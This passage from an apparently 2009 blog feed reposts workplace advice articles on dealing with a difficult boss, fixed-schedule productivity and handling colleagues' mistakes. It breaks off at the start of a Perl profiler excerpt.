XBMC tweaks.</p>Unknownnoreply@blogger.com6tag:blogger.com,1999:blog-34767665.post-18922696497371026182009-12-10T15:38:00.001-08:002009-12-10T15:39:33.320-08:00Solution to deal with trouble with your bossIf you have trouble with your boss consider this article:<br /><a href="http://www.lifehack.org/articles/management/what-to-do-if-you-dont-get-along-with-your-boss.html">http://www.lifehack.org/articles/management/what-to-do-if-you-dont-get-along-with-your-boss.html</a><br /><br /><div id="header_meta"><span class="date"><span style="text-decoration: underline;">Quote:</span></span><a href="http://www.lifehack.org/topics/management" title="View all posts in Management" rel="category tag"></a></div><h1><a href="http://www.lifehack.org/articles/management/what-to-do-if-you-dont-get-along-with-your-boss.html" rel="bookmark" title="Permanent Link: What to Do if You Don’t Get Along with Your Boss">What to Do if You Don’t Get Along with Your Boss</a></h1><div class="KonaBody"><p><img class="aligncenter size-medium wp-image-10096" title="20091204-frustrated" src="http://www.lifehack.org/wp-content/files/2009/12/20091204-frustrated-380x285.jpg" alt="20091204-frustrated" height="285" width="380" /><script type="text/javascript">google_ad_client = "pub-9079061040234685"; /* Content - Body - 468x60 */ google_ad_slot = "2333262247"; google_ad_width = 468; google_ad_height = 60;</script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script></p><p>What should you do if you really cannot get on with your boss at work? Maybe there has been a breakdown in trust, in communication or in respect. In any event it is ruining your time at work and making you frustrated and unhappy. Let’s call your manager “John” and see how we can approach the situation. (The advice here works equally well whether your boss is a man or a woman).</p><p><strong>1. How do other people find him?</strong> Does everyone have a hard time with John or is it just you? Check out how other people get on with him by asking subtle questions – do not rant about how awful he is and see if others agree. If everyone has a problem with him then you have some common ground on which to work. If only you have difficulties with him then you need to examine yourself and your relationship with him.</p><p><strong>2. Ask yourself why.</strong> List all the reasons why you think things are not working between you. There are probably some big assumptions on your list so you will need to validate them carefully.</p><p><strong>3. Have a heart to heart meeting.</strong> Schedule a time to meet John when he is not under pressure. Tell him that you want to discuss some important issues. At the meeting explain very calmly and rationally that you do not feel the relationship is working well and that you would like to explore why and how to improve it. Do not go into a long list of complaints and sores. Take a factual example if you can and start from there. Let him do most of the talking. Try to see the situation from his point of view and understand exactly what he sees as the issues. See how many of the problems you listed at point 2 above are real.</p><p><strong>4. Agree an action plan.</strong> If you can agree a plan for outcomes that you both want then it really helps. What is it that he wants you to achieve? If you deliver it will he be happy with your performance? Even if you disagree on all sorts of other things try to agree on what your key job objectives are. Ideally you should agree actions that each of you will take to improve the working relationship.</p><p><strong>5. Try to understand his objectives and motivation.</strong> Even if John is lazy, dishonest and spiteful you can still find out what he is keen to achieve and work with him towards his goals. If you can find a way to help him with his objectives then maybe you can work around his faults. A good rule at work is to help your boss to succeed – whether you like him or not. Other people will see you do this and it works to your credit – especially if they know that your boss is difficult.</p><p><strong>6. Go over his head. </strong> This is a risky option but sometimes it is necessary – especially if most other people share the same problems with John. Have a quiet word with your boss’s boss and say that you feel that the department is not achieving all that it could. Make some broad suggestions about how things could be improved without making direct accusations against John. Let the senior manager read between the lines; he or she probably knows already.</p><p><strong>7. Move sideways in the organization.</strong> If you cannot move up then move across for a while. Get some experience in another department. Eventually John will move on, be fired or quit. If you are seen as a positive contributor then you may get your chance to do John’s job better than he did.</p><p><strong>8. Quit.</strong> Life is too short to spend it in a job that makes you miserable. If you have tried all of the routes above and are still blocked and frustrated then find a job elsewhere. There are plenty of good bosses who want enthusiastic and diligent people to work for them.</p><p>Sooner or later most of us will get a difficult boss to deal with. Do not become sullen or aggressive. The trick is to figure out a way to get on with the boss in a manner that helps both of you. It can nearly always be done.</p></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-34767665.post-58704108144533751702009-11-29T09:52:00.002-08:002009-11-29T09:57:44.886-08:00Time Management Hack: Fixed ScheduleI love Ramit's blog and what he finds. Here's the article that he found and track from studyhack:<a href="http://www.iwillteachyoutoberich.com/blog/time-management-how-an-mit-postdoc-writes-3-books-a-phd-defense-and-6-peer-reviewed-papers-and-finishes-by-530pm/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+IWillTeachYouToBeRich+%28I+Will+Teach+You+To+Be+Rich%29"><span style="font-size:100%;"></span></a><span style="font-size:100%;"><a title="Permalink to Time management: How an MIT postdoc writes 3 books, a PhD defense, and 6+ peer-reviewed papers — and finishes by 5:30pm"> Time management: How an MIT postdoc writes 3 books, a PhD defense, and 6+ peer-reviewed papers — and finishes by 5:30pm</a></span><br /><br />Quote below:<br /><p>I’m always on the lookout for “hidden gems,” or people who are doing remarkable work that the whole world hasn’t caught on to, yet. </p> <p>Today, I asked my friend Cal Newport to illustrate how he completely dominates as a post-doc at MIT, author of multiple books, and popular blogger. How does he do it all?</p> <p>Cal writes one of the best blogs on the Internet: <a target="_blank" class="offSite" href="http://www.calnewport.com/blog">Study Hacks</a>. His guest post shows how you can take I Will Teach You To Be Rich principles — plus many others — and integrate them into a way to use your time effectively.</p> <p><strong>Below, you’ll learn:</strong></p> <ul><li>How to use fixed-schedule productivity — similar to the <a href="http://www.iwillteachyoutoberich.com/blog/measure-yourself-using-the-same-techniques-the-fortune-500-uses/">Think, Want, Do Technique</a> — to consciously choose what you want to work on and ignore worthless busywork</li><li>When to say no — and how to do it</li><li>How a $60,000-a-speech professional manages his time</li><li>Case study: How to use email for maximum time productivity</li></ul> <p>Read on.</p> <center>* * *</center> <h3>From Cal:</h3> <p>I recently conducted a simple experiment: I recorded the timestamps of the last 50 e-mails in my sent messages folder. These timestamps covered one week of my e-mail behavior, starting on Thursday, October 22nd and ending Thursday, October 29th.</p> <p>My interest was to measure <em>when</em> during the day I spent time on e-mail. Here’s what I found:</p> <center><img src="http://www.iwillteachyoutoberich.com/wp-content/uploads/2009/11/emailchart2.png" alt="emailchart2" title="emailchart2" class="aligncenter size-full wp-image-4119" height="314" width="500" /></center> <p>Notice that over this week-long period, I didn’t send any e-mail after 7:00 pm, and only one e-mail after 6:00 pm. There’s a good explanation for this discipline: <strong>I end all work around 5:30 every day.</strong> No Internet. No computer. No to-do lists. Once I <a class="offSite" href="http://calnewport.com/blog/2009/06/08/drastically-reduce-stress-with-a-work-shutdown-ritual/" target="_blank">shutdown my day</a>, it’s time to relax.</p> <p>I must emphasize that I’m not some laid-back lifestyle entrepreneur who monitors an automated business from a hammock in Aruba. I have a normal job (I’m a postdoc) and a lot on my plate.</p> <p>This past summer, for example, I completed my PhD in computer science at MIT. Simultaneous with writing my dissertation I finished the manuscript for <a class="offSite" href="http://calnewport.com/blog/2009/05/29/an-update-on-my-new-book/" target="_blank">my third book</a>, which was handed in a month after <a class="offSite" href="http://www.csail.mit.edu/events/eventcalendar/calendar.php?show=event&id=232" target="_blank">my PhD defense</a> and will be published by Random House in the summer of 2010. During this past year, I also managed to maintain my blog, <a class="offSite" href="http://www.calnewport.com/blog" target="_blank">Study Hacks</a>, which enjoys over 50,000 unique visitors a month, and publish <a class="offSite" href="http://people.csail.mit.edu/cnewport/publications.shtml" target="_blank">over a half-dozen peer-reviewed academic papers</a>.</p> <p>Put another way: I’m no slacker. But with only a few exceptions, all of this work took place between 8:30 and 5:30, only on weekdays. (My exercise, which I do every day, is also included in this block, as is an hour of dog walking. I really like my post-5:30 free time to be completely free.)</p> <p>I call this approach <strong>fixed-scheduled productivity</strong>, and it’s something I’ve been <a class="offSite" href="http://calnewport.com/blog/2008/02/15/fixed-schedule-productivity-how-i-accomplish-a-large-amount-of-work-in-a-small-number-of-work-hours/" target="_blank">following and preaching</a> since early 2008. The idea is simple:</p> <ul><li><strong>Fix your ideal schedule, then work backwards to make everything fit</strong> — ruthlessly culling obligations, turning people down, becoming hard to reach, and shedding marginally useful tasks along the way.</li></ul> <p>The beneficial effects of this strategy on your sense of control, stress levels, and amount of important work accomplished, is profound.</p> <p>The notion is not new. <a class="offSite" href="http://www.fourhourworkweek.com/blog/" target="_blank">Tim Ferriss</a> famously recommend strict time constraints in <em><a target="_blank" class="offSite" href="http://www.amazon.com/gp/product/0307353133?ie=UTF8&tag=iwillteachyou-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=0307353133">The 4-Hour Work Week</a></em>. He argued that much of the work we do is of questionable importance and conducted at low efficiency. (He made a popular — <a class="offSite" href="http://calnewport.com/blog/2008/06/11/debunking-parkinsons-law/" target="_blank">if not somewhat dubious</a> — appeal to Parkinson’s Law to support the point that more time does not necessarily lead to more results.) If we instead identify only the most important tasks, he said, and tackle them under severe constraints, we’d be surprised by how little time we actually require.</p> <p><strong>In this article, I want to tell the stories of real people who successfully implemented this strategy </strong>– radically improving the quality of their lives without scuttling their professional success.</p> <p><strong>Jim Collins’ Whiteboard</strong><br /></p><center><img src="http://www.iwillteachyoutoberich.com/wp-content/uploads/2009/11/collins.jpg" alt="Jim Collins’ Whiteboard (Photo by Kevin Moloney for The New York Times)" title="Jim Collins" class="aligncenter size-full wp-image-4120" height="346" width="500" /></center><br /><center><em>(photo by Kevin Moloney for</em> <em>The New York Times)</em></center> <p>Jim Collins has sold over seven million copies of his canonical business guides, <em>Good to Great</em> and <em>Built to Last</em>. He attributes the success of these books to his research discipline. As he revealed in a <a class="offSite" href="http://www.nytimes.com/2009/05/24/business/24collins.html" target="_blank"><em>New York Times</em> profile</a> from last May, he leads teams of up to a dozen undergraduates in the process of information gathering. His books require, on average, a half-decade of time and a half-million dollars of expenses to get from their initial premise to the polished ideas. When he enters his “monk” mode to covert this research into a manuscript, he produces, at best, a page a day.</p> <p>In other words, Collins is a hardworking guy. You would expect, therefore, that like many hard-charging business-world types he would be a blackberry-by-the-bedside workaholic.</p> <p><em>But he’s not.</em></p> <p>Scrawled on a whiteboard in the conference room of Collins’ Boulder, Colorado office is a simple formula:</p> <p>Creative 53%<br />Teaching 28%<br />Other 19%</p> <p>Collins decided years ago that a “big goal” in his life was to spend half of his working time on creative work — thinking, researching, and writing — a third of his time on teaching, and then cram everything else into the last 20%. The numbers on the whiteboard are a snapshot of his current distribution. (He tracks his time with a stop watch and monitors his progress in a spreadsheet.)</p> <p>Collins is a pristine example of fixed-schedule productivity in action. An author with his level of success could easily fall into an overwork trap: long nights spent updating twitter, signing partnerships, <a class="offSite" href="https://secure.davidco.com/store/catalog/" target="_blank">building elaborate web sites and launching product lines</a>, speaking at every possible venue. But he avoids this fate.</p> <p>Even though Collins demands over $60,000 per speech, for example, he gives fewer than 18 per year, and a third of these are donated for free to non-profit groups. He doesn’t do book tours. His <a class="offSite" href="http://www.jimcollins.com/" target="_blank">web site is mediocre</a>. He keeps his living expenses in check so that he’s not dependent on drumming up income (he and his wife have lived in the same California bungalow for the past 14 years), and he keeps only a small staff, preferring to bring on volunteers as needed.</p> <p>“Mr. Collins…is quite practiced at saying ‘no,’” is how <em>The Times</em> described him. (He once wrote an article for <em>USA Today</em> titled: <a class="offSite" href="http://www.jimcollins.com/article_topics/articles/best-new-years.html" target="_blank">“Best New Years Resolution? A ‘Stop-Doing’ list.”</a>)</p> <p>His fixed-schedule approach to life comes from his simple conviction “to produce a lasting and distinctive body of work,” and his “willingness…to focus on what <span class="italic">not</span> to do as much as what to do” has made that possible.</p> <p>He’s not alone in reaping the benefits of the fixed-schedule approach…</p> <p><strong>Elizabeth’s Conversion</strong></p> <p>When <a class="offSite" href="http://www.reallifee.com/" target="_blank">Elizabeth Grace Saunders</a> started her first business, a professional copy-writing service, her schedule has “hazardous.”</p> <p>“I would answer e-mails after going out with friends,” she told me, “and stay up until 2 a.m. finishing projects.”</p> <p>At some point, she snapped. “I’m not a secretary,” she declared. “I’m not required to jump to respond to everything that crosses my path.”</p> <p>Saunders adopted a 40-hour a week schedule. This new structure had two immediate impacts. First, she found herself focusing only on the most important tasks. With only a few hours to spare on business development, for example, she couldn’t justify wasting time with the small, ineffectual website tweaks and exploratory e-mails that used to keep her up late into the night. Instead she focused on the core activities that produced results, such as sales calls or the development of new products. The focus generated by this constraint ended up generating <em>more</em> results than her previous schedule, which was more expansive, but also more scattered.</p> <p>The second impact was her discovery that she could teach her clients how to treat her.</p> <p>“I’ll answer your e-mail within 24 hours (not 24 minutes), I need notice before starting a project, I will say ‘no’ if my schedule for the near future is already full, and I might schedule meetings up to a month in advance.”</p> <p>“Choosing how and when I respond to requests has had a <em>dramatic</em> impact,” Saunders notes.</p> <p>Friends and clients were impressed enough with Saunders’ lifestyle that she eventually left copywriting to become a “time coach” that works with other women in business to achieve similar results. (Her flagship service is called a <a class="offSite" href="http://schedulemakeover.com/" target="_blank">Schedule Makeover</a>.)</p> <p><strong>Here’s a typical day in Saunders’ life:</strong></p> <ul><li>She’s up at 6 and by 8:30 she’s at the computer.</li><li>The first 1 – 2 hours of her work day are spent doing what she calls “routine processing,” which includes checking calendars, clearing e-mail inboxes, and cementing a plan to follow for the rest of the day. As Saunders describes it, this morning routine prevents her from wasting time deciding <em>how</em> to start, and it frees her of the “compulsion” to be checking e-mail throughout the day.</li><li>She continues with an hour of sales calls. This is often the most dreaded activity for the solo entrepreneur. But by having a regular place in her constrained schedule, she avoids pushing it aside.</li><li>The rest of the day follows the schedule she fixed in the morning: usually a mix of client assignments and at least one business development activity.</li><li>By 5:30 she’s done.</li></ul> <p>Most entrepreneurs work well past 5:30 (and claim that this is absolutely unavoidable), but Saunders’ business is thriving. The reason is clear: <strong>her fixed schedule forces her to do the work that produces results</strong> (sales calls, client assignments, major business development activities) <strong>and eliminates the hours of pseudowork</strong> that many use to fill their day in an effort to feel “busy” (tweaking websites, compulsive e-mail checking, chasing down small business development opportunities).</p> <p>Saunders is not the only young entrepreneur I’ve met who was surprised to discover that doing less helped the bottom line…</p> <p><strong>The Baby Factor</strong></p> <p>Michael Simmons, a good friend of mine, reported a similar story. His company, the <a class="offSite" href="http://www.extremee.org/" target="_blank">Extreme Entrepreneurship Education Corporation</a>, expanded quickly in the years following college graduation. Around the time I was reading <em>The 4-Hour Work Week</em>, I started to discuss the possibility that Simmons tone down the hours. It was <em>his</em> company, I argued, so why not take advantage of this fact to craft an awesome life.</p> <p>Among the specific topics we discussed, I remember suggesting that Simmons cut down the time spent on e-mail and social networks.</p> <p>“This isn’t optional for me,” he explained. “Any of these contacts could turn into a important partner or sale.”</p> <p>But then Simmons’ daughter, Halle, was born.</p> <p>Simmons’ work schedule reduced from 10 to 12 hours days to 3 to 5 hour days. He took care of the baby in the morning, then worked in the afternoon while his wife, and company co-founder, took over the childcare responsibilities. Evenings were family together time.</p> <p>Halle forced Simmons into the type of constrained schedule that he had previously declared impossible. And yet the business didn’t flounder.</p> <p>“The baby turns ’shoulds’ into ‘musts’,” Simmons explained to me. “In the past I used to put off key decisions, or saying ‘no’, because I didn’t want to deal with the discomfort. Now I have no choice. I have to make the decisions because my time has been slashed in half.”</p> <p>“Since out daughter was born about a year ago, our business has more than doubled.”</p> <p><strong>The Fixed-Schedule Effect<br /></strong></p> <p>Collins, Saunders, and Simmons all share a similar discovery. When they constrained their schedule to the point where non-essential work was eliminated and colleagues and clients had to retrain their expectations, they discovered two surprising results.</p> <p>First, the essentials — be it making sales calls, or focusing on the core research behind a book — are what really matter, and the non-essentials — be it random e-mail conversations, or managing an overhaul to your blog template — are more disposable than many believe.</p> <p>Second, by focusing only the essentials, they’ll receive more attention than when your schedule was unbounded. The paradoxic effect, as with Collins’ bestsellers, or Saunders and Simmons’ fast-growing businesses, you achieve more results.</p> <p><strong>Living the Fixed-Scheduled Lifestyle</strong></p> <p>The steps to adopting fixed-schedule productivity are straightforward:</p> <ol><li>Choose a work schedule that you think provides the ideal balance of effort and relaxation.</li><li>Do whatever it takes to avoid violating this schedule.</li></ol> <p>This sounds simple. But of course it’s not. Satisfying rule 2 is non-trivial. If you took your current projects, obligations, and work habits, you’d probably fall well short of satisfying your ideal schedule.</p> <p>Here’s a simple truth that you must confront when considering fixed-schedule productivity: <strong>sticking to your ideal schedule will require drastic actions. </strong>For example, you may have to:</p> <ul><li>Dramatically cut back on the number of projects you are working on.</li><li>Ruthlessly cull inefficient habits from your daily schedule.</li><li>Risk <a class="offSite" href="http://www.fourhourworkweek.com/blog/2007/10/25/weapons-of-mass-distractions-and-the-art-of-letting-bad-things-happen/" target="_blank">mildly annoying or upsetting some people</a> in exchange for large gains in time freedom.</li><li>Stop procrastinating.</li></ul> <p>In the abstract, these are all hard goals to accomplish. But when you’re focused on a specific goal — <em>“I refuse to work past 5:30 on weekdays!”</em> — you’d be surprised by how much easier it becomes to deploy these strategies in your daily life.</p> <p><em>Let’s look at one more example…</em></p> <p><strong>Case Study: My Schedule</strong></p> <p>My schedule from my time as a grad student provides a good case study. To reach my relatively small work hour limit, I had to be careful about how I approached my day. I saw enough bleary-eyed insomniacs around here to know how easy it is to slip into a noon to 3 a.m. routine (the infamous “MIT cycle.”)</p> <p>Here are some of the techniques I regularly used to remain within the confines of my fixed schedule:</p> <ul><li><strong>I’m ruthlessly results oriented.</strong> What’s the ultimate goal of a graduate student? To produce good research that answers important questions. <a class="offSite" href="http://calnewport.com/blog/2009/03/12/some-thoughts-on-grad-school/" target="_blank">Nothing else really matters</a>. For some of my peers, however, their answer to this metaphysical prompt was: “work really long hours to prove that you belong.” It was as if some future arbiter of their future was going to look back at their time clock punch card and declare whether they sufficiently paid their dues. <em>Nonsense!</em> I wanted to produce a few good papers a year. Anything that got in the way of this goal was treated with suspicion. This results-oriented vision made it easy to keep the middling crap from crowding my schedule.</li><li><strong>I’m ultra-clear about when to expect results from me. And it’s not always soon.</strong> If someone slips something onto my queue, I make an honest evaluation of when it will percolate to the top. I communicate this date. Then I make it happen when the time comes. You can get away with telling people to expect a result a long time in the future, if — <em>and this is a big if</em> — you actually deliver when promised. Long lead times allow to you to side step the pile-ups (which will bust a fixed-schedule) that accrue when you insist on an immature, “do things only when the deadline looms” attitude.</li><li><strong>I refuse. </strong>If my queue is too crowded for a potential project to get done in time, I turn it down.</li><li><strong>I drop projects and quit.</strong> If a project gets out of control and starts to sap too much time from my schedule, or strays from my results-oriented vision: I drop it. If something demonstrably more important comes along, and it conflicts with something else in my queue, I drop the less important project. Here’s a secret: no one really cares what you do on the small scale, or what things you quit. In the end you’re judged on your results. If something is hindering your production of the important results in your field, you have to ask why you’re keeping it around.</li><li><strong>I’m not available. </strong>I often work in hidden nooks of the various libraries on campus, or from my apartment. I check and respond to work e-mail only a couple times a day, and never at night or on weekends. People have to wait for responses from me. It’s often hard to find me. Sometimes people get upset when they send me something urgent on Friday night that need done by Saturday morning. But eventually they get over it. Just as important, I’m not a jerk about it. I don’t have sanctimonious auto-responders about my e-mail habits. I just do what I do, and people adapt.</li><li><strong>I batch and habitatize.</strong> Any regularly occurring work gets turned into a habit — something I do at a fixed time on a fixed date. For example, I work on my blog in the afternoon after lunch. I write first thing in the morning. When I was taking classes, I had reoccuring blocks set aside during the week for tackling their assignments. Habit-based schedules for regular work makes it easier to tackle the non-regular projects. It also prevents schedule-busting pile-ups.</li><li><strong>I start early. </strong>Sometimes real early. On certain projects that I know are important, I don’t tolerate procrastination. It doesn’t interest me. If I need to start something 2 or 3 weeks in advance so that my queue proceeds as needed, I do so.</li><li><strong>I don’t ask permission.</strong> I think it’s wrong to assume that you automatically have the right to work whatever schedule you want. It’s a valuable prize that most be earned. And <em>results</em> are the currency you must spend to buy it. So long as I’m actually accomplishing the big picture goals I’m paid to accomplish, I feel comfortable to handle my schedule my own way. If I was producing mediocre crap, people would have a right to demand more access.</li></ul> <p><strong>Conclusion</strong></p> <p>You could fill any arbitrary number of hours with what feels to be productive work. Between e-mail, and crucial web surfing, and to-do lists that, in the age of David Allen, grow to lengths that rival the bible, there is <em>always</em> something you could be doing. At some point, however, you have to put a stake in the ground and say:<em><strong> </strong></em><strong><em><strong><em>I know I have a never-ending stream of work, but this is when I’m going to face i</em></strong><em><strong>t</strong></em>. </em></strong>If you don’t, you’ll let this work push you around like a bully. It will force you into tiring, inefficient schedules, and you’ll end up more stressed and no more accomplished. <strong><em> </em></strong></p> <p>Fix the schedule you want. Then make everything else fit around your needs. Be flexible. Be efficient. <strong>If you can’t make it fit: change your work.</strong> But in the end, don’t compromise. </p> <p><em>Cal Newport is an MIT postdoc, author, and founder of <a target="_blank" class="offSite" href="http://www.calnewport.com/blog">Study Hacks</a>, the Internet’s most popular student advice blog.</em></p>Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-34767665.post-66746887910610050182009-10-14T13:13:00.002-07:002009-10-14T13:15:45.312-07:00Balancing your work and colleaguesWorking in a team environment is important. This article covers your relationship when there are interlink between your work and your collegues.<br />http://blogs.harvardbusiness.org/hmu/2009/10/when-a-colleagues-mistakes-aff.html<br /><br /><div class="blogPostsInfoFull"> <h4>When a Colleague's Mistakes Affect You</h4> <p class="date">12:39 PM Thursday October 8, 2009<br />by Amy Gallo</p> <!-- Begin: Entry Tags Module --></div><p>In an attempt to function in this increasingly complex world, organizations are becoming increasingly complex themselves. They are built on collaborative partnerships, dotted lines and matrixes, all of which mean more and more of your work depends on the work of someone else. When a colleague is making mistakes, this interconnectedness can feel like a major pitfall. </p> <p>Yet a job where you don't interact with others is nearly impossible to find, not to mention somewhat boring. So, you need to figure out how to make relationships work. Every management expert would agree that positive working relationships are essential to getting things done. So what do you do when a colleague is not doing her part and it's affecting your work? Fortunately, handling your colleague's mistakes in a productive way cannot only help remove barriers but may also help your colleague, and you, gain new skills.</p> <p><strong>What the Experts Say</strong><br />The type of mistakes you might be affected by vary greatly. A colleague may miss deadlines, not produce the work required, make errors in calculations or even provide you with misinformation. These may all be innocent mistakes fueled by lack of knowledge, experience, or awareness, but without more information you can't be sure and won't be able to act. </p> <p><strong>Diagnose the Issue</strong><br />The first step in addressing your colleague's behavior is to understand what's really going on. Try to determine if the problem is short-term, such as a personal issue at home, a particularly heavy workload, or a health problem — or long-term, such as a lack of skill or a poor cultural fit with the organization. As Allan Cohen, the Edward A. Madden Distinguished Professor of Global Leadership at Babson College and author of <a href="http://www.amazon.com/Influence-Without-Authority-Allan-Cohen/dp/0471463302/ref=sr_1_1?ie=UTF8&s=books&qid=1253911931&sr=1-1"><em>Influence without Authority</em></a> points out, "What you don't know is if the person is getting the right support from others, if a non-work issue has cropped up, or if perhaps the person doesn't understand the issue like you do." This diagnosis can be done by looking for corroborating evidence from other colleagues and checking that your understanding of the issue aligns with theirs. Deborah Ancona, Seley Distinguished Professor of Management at the MIT Sloan School of Management and author of <a href="http://www.amazon.com/X-teams-Build-Teams-Innovate-Succeed/dp/1591396921/ref=sr_1_1?ie=UTF8&s=books&qid=1253911876&sr=8-1"><em>X-Teams: How to Build Teams that Lead, Innovate, and Succeed</em></a>, warns that it's important to "be careful because you don't want to make anyone else see the problem if they haven't already." </p> <p><strong>Approach Your Colleague Directly</strong><br />The best approach is to go to the source — speak with your colleague directly. This conversation should take place in an informal, private setting and you should always follow good feedback rules. Don't accuse or blame your colleague. Use concrete examples to explain what you are seeing and its impact on you.</p> <p>Richard Hackman, the Edgar Pierce Professor of Social and Organizational Psychology at Harvard University and author of <a href="http://www.amazon.com/Leading-Teams-Setting-Stage-Performances/dp/1578513332/ref=sr_1_1?ie=UTF8&s=books&qid=1253912151&sr=1-1"><em>Leading Teams: Setting the Stage for Great Performances</em></a> says, "We tend to attribute what's going wrong to an individual and specifically to something dispositional about them." This is dangerous because you are then attacking a person — not their behavior. Most importantly, to establish a common ground with your colleague, discuss the issue in context of mutual goals. "You want to ask 'What can we do to achieve our goals?' not 'You screwed up again,'" Hackman says.</p> <p>Don't assume you know exactly why the colleague is making mistakes. As Hackman points out, "You need to be open to learning that you're wrong about the situation." Use an inquiry mode and ask questions like "What's going on?" and "Am I misreading or misunderstanding the situation?" In fact, you may discover that your colleague wasn't aware of the mistakes or how her actions appeared to others. </p> <p><strong>Offer Help and Support</strong><br />If a short-term issue is causing the mistakes, such as a difficult time at home or an illness in the family, you should offer to help. You may even consider covering for the person as a way to build a positive relationship. As Ancona says, "This world is all about connections and not only do you not want to jeopardize the relationship, but you want to build it." Covering may mean picking up extra work, spending time double checking her work or offering to explain to other colleagues what is going on. Covering doesn't mean that you should lie on behalf of your colleague, nor does it mean a permanent shift in job responsibilities. You should only cover when you have an explicit agreement that the situation is temporary until circumstances change.</p> <p>If you find that the source of the mistakes is a longer term issue, such as a lack of skill, you can offer to help brainstorm solutions. Perhaps your colleague can find a course that will help her build up her skills, or go to her manager to ask for assistance. </p> <p>It is rarely a good idea to let your colleague continue to make mistakes. Cohen says, "In very competitive organizations, the temptation is to let people die on their own swords. But in those environments, it's even more appreciated when you don't let them die." By being generous now, you are incurring the obligation of your colleague to help you in the future. This reciprocity is often what strong professional relationships are built on. </p> <p><strong>Protect Yourself</strong><br />It's possible that you'll discover your colleague is intentionally making mistakes to undermine you or take credit for your work. "These political situations are far messier to deal with," Ancona says. Fortunately they are far rarer as well. Cohen says that he has only met a handful of people throughout his career that are "true snakes." He advises, "It should be your last assumption that the colleague is making mistakes deliberately."</p> <p>Ancona offers, "You can try to confront the person directly, hoping that may make him or her back down." If that doesn't work you can use the following tactics:</p> <ul><li><strong>Make your work visible.</strong> Avoid bragging. Use the active voice instead of the passive voice. For example, try saying "I prepared these analyses that show where we should be investing resources" rather than "These analyses show where we should be investing resources." </li><li><strong>Offer to lead a presentation when joint work is being shared.</strong> People often think of the person in the front of the room as the leader, or at least one of the more active participants in a project. </li><li><strong>Take credit where credit is due. </strong>This doesn't mean you brag. Instead, showcase your involvement or let your manager know exactly what part of the project is the result of your efforts.</li></ul> <p>In these political situations, don't resort to badmouthing your colleague. Negative comments often reflect as badly on you as they do on the person you are speaking about.</p> <p><strong>When the Issue Continues...</strong><br />Despite all your efforts and care in handling the situation, it is possible that the mistakes will continue. This isn't only an inconvenience, it could hinder your career. The experts suggest you take a few approaches to preserving your reputation. If possible, avoid working with that person in the future. If that's not possible you can employ some of the same tactics listed above if the person were undermining you. Also, you should consider approaching your manager. Explain what you've done to date and ask for her advice. Be clear you are not asking her to intervene.</p> <p>The experts agree that things would need to be very serious, e.g. the project you're working on is headed for failure, before you approach your colleague's manager. There is a major risk that you could alienate your colleague and permanently damage the relationship (<em>see Allan Cohen's experience in Case Study #2 below</em>). In many organizational cultures, talking to a person's manager can be coded as not being "a team player."</p> <p><strong>Principles to Remember</strong><br />Do:</p> <ul><li>Keep in mind that <em>relationships matter</em></li><li>Be direct and honest with your colleague about how the mistakes are affecting you </li><li>Offer help if the colleague is struggling with a short-term issue such as a heavy workload or a personal issue</li></ul> <p>Don't:</p> <ul><li>Badmouth your colleague to anyone in the organization</li><li>Assume your colleague is aware of the mistakes </li><li>Go to your colleague's manager without first talking to your colleague and your manager</li></ul> <p><strong>Case Study #1: Stopping Mistakes Before They Happen </strong><br />For Drew Chatto, a software engineer who worked at VeriSign, close collaboration wasn't just part of his job, it was his job. While he wrote code on his own, it was always reviewed by others and then put together with his colleagues' work to form a complete product. Eddie, one of Drew's colleagues, was a less experienced — although not less talented — engineer. Because Eddie was relatively new to VeriSign he wasn't familiar with the specifics of how the company wrote code. Instead of asking questions, he made assumptions and often finished code quickly. During code review, Drew regularly found mistakes with Eddie's work and had to ask him to rewrite it. Eddie never argued but he continued to make similar mistakes. Tired of having the same conversation over and over, Drew offered to help Eddie think through his code assignments before he began writing. These conversations gave Eddie the opportunity to ask how specific things were done at VeriSign, instead of making the decisions on his own. As Drew said, "I couldn't expect him to know the right questions." Eddie was open to the suggestion; he knew Drew had more experience, and he was likely tired of having to redo his work. Drew's approach helped Eddie avoid mistakes before they happened. While those preliminary conversations took more of Drew's time, they saved him time in the code review process and built a stronger, less contentious relationship, with Eddie.<br /> <br /><strong>Case Study #2: The Risk of Escalation</strong><br />Allan Cohen is a professor and dean at Babson College, and one of our experts from above. In a former role at a major university, his good friend and colleague Carl served as the Associate Dean of Allan's department. Allan was proposing a new program that required Carl's approval. Despite Carl's background in accounting, he kept making accounting errors when attributing costs to the new program. Worried about him, Allan stopped by his boss's office one afternoon to explain what was going on. His boss was the Dean of the School and as such, was also Carl's boss. In the middle of the conversation, there was a knock at the door and Carl walked in. Carl's office was directly next door and he explained that he had heard the entire conversation because of a chip in the concrete wall between the two offices. Allan explained, "We never mentioned the incident again but it took me well over a year to repair the relationship." Allan regrets not going to Carl directly first. "If I had, I could've saved the relationship and maybe even helped him." </p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-34767665.post-52717089697525222652009-09-08T14:14:00.002-07:002009-09-08T14:15:42.303-07:00Perl profilerI thought I put this here before but I guess it was only in my imagination...<br /><br />Here is a routine to use Dprof to profile your perl code for debug and optimize your code.<br />Src: <a href="http://docstore.mik.ua/orelly/perl/prog3/ch20_06.htm">http://docstore.mik.ua/orelly/perl/prog3/ch20_06.htm</a><br /><br /><h2 class="sect1">20.6. The Perl Profiler</h2> <p> <a name="INDEX-3649"></a><a name="INDEX-3650"></a><a name="INDEX-3651"></a><a name="INDEX-3652"></a><a name="INDEX-3653"></a><a name="INDEX-3654"></a><a name="INDEX-3655"></a><a name="INDEX-3656"></a> Do you want to make your program faster? Well, of course you do. But first you should stop and ask yourself, "Do I really need to spend time making this program faster?" Recreational optimization can be fun,<a href="http://docstore.mik.ua/orelly/perl/prog3/ch20_06.htm#FOOTNOTE-2">[2]</a> but normally there are better uses for your time. Sometimes you just need to plan ahead and start the program when you're going on a coffee break. (Or use it as an excuse for one.) But if your program absolutely must run faster, you should begin by profiling it. A profiler can tell you which parts of your program take the most time to execute, so you won't waste time optimizing a subroutine that has an insignificant effect on the overall execution time.</p> <blockquote class="footnote"> <a name="FOOTNOTE-2"></a> <p>[2] Or so says Nathan Torkington, who contributed this section of the book.</p> </blockquote> <p>Perl comes with a profiler, the <tt class="literal">Devel::DProf</tt> module. You can use it to profile the Perl program in <em class="emphasis">mycode.pl</em> by typing: </p><blockquote> <pre 